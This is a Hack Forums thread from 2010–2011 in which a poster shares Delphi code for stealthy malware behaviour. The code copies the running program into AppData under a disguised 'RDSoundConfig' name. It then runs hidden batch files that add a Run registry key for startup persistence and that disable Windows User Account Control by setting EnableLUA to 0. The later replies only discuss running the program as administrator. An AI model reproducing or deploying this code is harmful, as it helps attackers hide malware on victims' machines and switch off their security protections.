Delphi [CODE] Startup using batch & Disable UAC using batch - Printable Version

[Delphi] [CODE] Startup using batch & Disable UAC using batch - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: [Delphi] [CODE] Startup using batch & Disable UAC using batch (/showthread.php?tid=408942)

[CODE] Startup using batch & Disable UAC using batch - PhoenixAI - May 8, 2010

ok so to do this the delphi application must be ran as administrator

so here is how you can add your delphi application using command lines
components used (TMemo)
uses ( ShellApi )

Code 
copyfile(PChar(application.exename), PChar(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDSoundConfig.exe'), false);

memo2.Lines.Add('REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RDSoundContorl /t REG_SZ /d "%appdata%\RDSoundConfig\RDSoundConfig.exe" /f');

memo2.Lines.Add('exit');

memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RandShot.bat');

memo2.Lines.Clear;

ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RandShot.bat'), nil, nil, SW_HIDE);

memo2.Lines.Add('%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f');

memo2.Lines.Add('exit');

memo2.Lines.SaveToFile(GetEnvironmentVariable('APPDATA') + '\RDSoundConfig\RDRun.bat');

memo2.Lines.Clear;

ShellExecute(Handle, 'open', PAnsiChar(GetEnvironmentVariable('APPDATA') + '\\RDSoundConfig\\RDRun.bat'), nil, nil, SW_HIDE);

* - SamsWatson - Jul 31, 2011

not only delphi but also a vb program also need to be run as administrator for this kind of code .

* - Golliath808 - Jul 31, 2011

(Jul 31, 2011 12:07 AM)SamsWatson Wrote: not only delphi but also a vb program also need to be run as administrator for this kind of code .

lol dude,this is a 1year old thread. How could you bu-mp one like this

* - moundown - Sep 22, 2011

(Jul 31, 2011 12:07 AM)SamsWatson Wrote: not only delphi but also a vb program also need to be run as administrator for this kind of code .

Yeah but you can also create a manifest with:

Code 
level="requireAdministrator"

and it will always start as admin .... Cheers ....